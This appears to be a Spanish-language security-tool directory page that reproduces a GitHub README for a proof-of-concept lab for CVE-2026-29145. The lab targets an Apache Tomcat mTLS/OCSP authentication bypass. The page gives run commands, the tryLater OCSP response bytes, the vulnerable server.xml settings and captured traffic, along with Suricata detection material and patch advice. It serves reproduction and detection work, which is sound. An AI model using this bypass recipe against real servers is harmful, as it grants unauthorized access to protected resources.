Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSExplotación de Aplicaciones WebPruebas de PenetraciónDetección de IntrusionesAprendizaje y EducaciónLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

Entorno PoC reproducible para CVE-2026-29145 Apache Tomcat CLIENT_CERT + omisión de fallo suave OCSP, incluidos scripts de explotación, respondedor OCSP simulado y reglas de detección de Suricata.

Ver Repositorio
15hace 2 mesesAún no revisado
Compartir

CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass: entorno de reproducción completo, paquetes de tráfico de explotación y material para la redacción de reglas de detección de Suricata.

Solo para investigación de seguridad autorizada y desarrollo de reglas de detección. No lo utilice en sistemas no autorizados.


Resumen de la vulnerabilidad

CampoDescripción
CVECVE-2026-29145
ComponenteApache Tomcat / Tomcat Native
TipoBypass de autenticación (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderate (Apache)
Versiones afectadasTomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13, etc.
Versiones corregidasTomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

Principio de la vulnerabilidad

Cuando Tomcat tiene habilitados CLIENT_CERT y OCSP, y se configura ocspSoftFail=false (fallo estricto), algunas rutas de fallo de OCSP (especialmente el estado de respuesta tryLater) todavía no se tratan como fallo estricto, lo que hace que se acepten certificados de cliente que deberían rechazarse y que los recursos protegidos queden accesibles.

La corrección oficial (p. ej., el commit de Tomcat fe26667c) alinea el manejo de OCSP TRY_LATER en la ruta FFM con Tomcat Native.

Conclusiones de las pruebas en este repositorio

En Tomcat 10.1.52 + Tomcat Native 2.0.12:

Punto clave: debe devolverse tryLater de RFC 6960; solo un HTTP 500 no es suficiente para desencadenar el bypass en este entorno.


Contenido del repositorio

root@kitploit:~
CVE-2026-29145-Everything/
├── README.md                 # Este archivo
├── REPRODUCTION.md           # Notas detalladas de reproducción y consejos para Suricata
├── docker-compose.yml        # Tomcat vulnerable + Mock OCSP
├── poc_exploit.py            # Script de explotación/detección (exit 10 = vulnerable)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # Genera certificados de CA / servidor / cliente (incluye OCSP AIA)
├── capture_exploit.sh        # Explota y captura paquetes con un solo comando
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # Mapeo de usuarios CLIENT-CERT
│   ├── ROOT/                 # Parche mínimo para el ROOT predeterminado de la imagen oficial
│   └── protected/            # Recurso protegido + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ Tráfico de explotación capturado (para escribir reglas)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # Paquete principal: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # Solo OCSP en claro
    ├── CVE-2026-29145-mtls-only.pcap       # Solo TLS 8443
    └── exploit_response.html               # Instantánea de la respuesta exitosa de explotación

El directorio de claves privadas de certificados certs/ está ignorado de forma predeterminada por .gitignore y debe generarse localmente.


Inicio rápido

Dependencias

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt o python3-requests del sistema)
  • tcpdump (opcional, para capturar paquetes)

Reproducción con un solo comando

root@kitploit:~
git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. Generar certificados (AIA apunta al nombre de servicio de OCSP dentro de Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. Iniciar el entorno (OCSP_MODE=try_later por defecto)
docker compose up -d
# Esperar a que esté healthy
docker compose ps

# 3. Ejecutar el PoC
python3 poc_exploit.py
# Salida esperada:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Código de salida 10 = vulnerable; 0 = no explotable / parcheado

Verificación manual:

root@kitploit:~
curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Captura de paquetes (conservar el tráfico)

root@kitploit:~
./capture_exploit.sh
# Salida en pcaps/CVE-2026-29145-*.pcap

El repositorio ya incluye un pcap de una explotación exitosa que puede utilizarse directamente para validar las reglas de Suricata, sin necesidad de volver a capturar.


Modo OCSP Mock

root@kitploit:~
# tryLater — ruta de activación del CVE (por defecto)
OCSP_MODE=try_later docker compose up -d --force-recreate

# Fallo HTTP 500 (en este entorno, el fallo estricto lo rechaza)
OCSP_MODE=fail docker compose up -d --force-recreate

# Simula éxito de OCSP (el body no es DER real, solo comprueba conectividad)
OCSP_MODE=succeed docker compose up -d --force-recreate

# DER de internalError
OCSP_MODE=internal_error docker compose up -d --force-recreate

Características del tráfico (material para Suricata)

Importante: el 8443 es mTLS cifrado con TLS 1.3; abrirlo directamente con Wireshark parecerá basura.
El OCSP del 8888 es HTTP en claro; al escribir reglas, priorice el OCSP.
Instrucciones completas en pcaps/README.md.

Archivos recomendados

OCSP en claro (coincidencia directa en el tráfico)

root@kitploit:~
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

HTTP de la aplicación tras el descifrado (requiere sslkeys.log)

root@kitploit:~
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

root@kitploit:~
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Consulte REPRODUCTION.md y pcaps/README.md para más detalles.


Puntos clave de configuración (server.xml vulnerable)

root@kitploit:~
<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

El CLIENT-CERT a nivel de aplicación se encuentra en tomcat/protected/WEB-INF/web.xml.


Recomendaciones de mitigación

  1. Actualice Tomcat a 10.1.53+ (o a la versión corregida de su línea correspondiente)
  2. Actualice también Tomcat Native a 2.0.14+
  3. Revise la política de ocspSoftFail y la accesibilidad de OCSP; realice pruebas de regresión para los comportamientos de inaccesibilidad/tryLater

Limpieza

root@kitploit:~
./cleanup.sh
# o
docker compose down -v

Referencias

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • Esqueleto del PoC upstream: CVE-2026-29145-Tester (este repositorio ha reforzado y documentado por completo la configuración reproducible y la ruta tryLater)

Descargo de responsabilidad

Este proyecto se utiliza únicamente con fines educativos, pruebas de penetración autorizadas y desarrollo de reglas de detección de intrusiones. El usuario debe asegurarse de contar con autorización legal sobre los sistemas objetivo. El autor no se responsabiliza por ningún uso indebido.

Descargar herramienta
Comportamiento de OCSPocspSoftFailResultado
DER tryLater (30 03 0a 01 03)falseHTTP 200 — bypass exitoso
HTTP 500falseRechazo TLS (fallo estricto activo)
Timeout de OCSPfalseRechazo TLS
Cualquier fallotrue200 (soft-fail esperado)
ArchivoDescripción
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.logSesión completa descifrable
pcaps/CVE-2026-29145-ocsp-only.pcapOCSP en claro (sin necesidad de claves)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtTexto legible del HTTP de OCSP
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txtTexto HTTP de la aplicación tras el descifrado
rules/cve-2026-29145.rulesReglas Suricata de ejemplo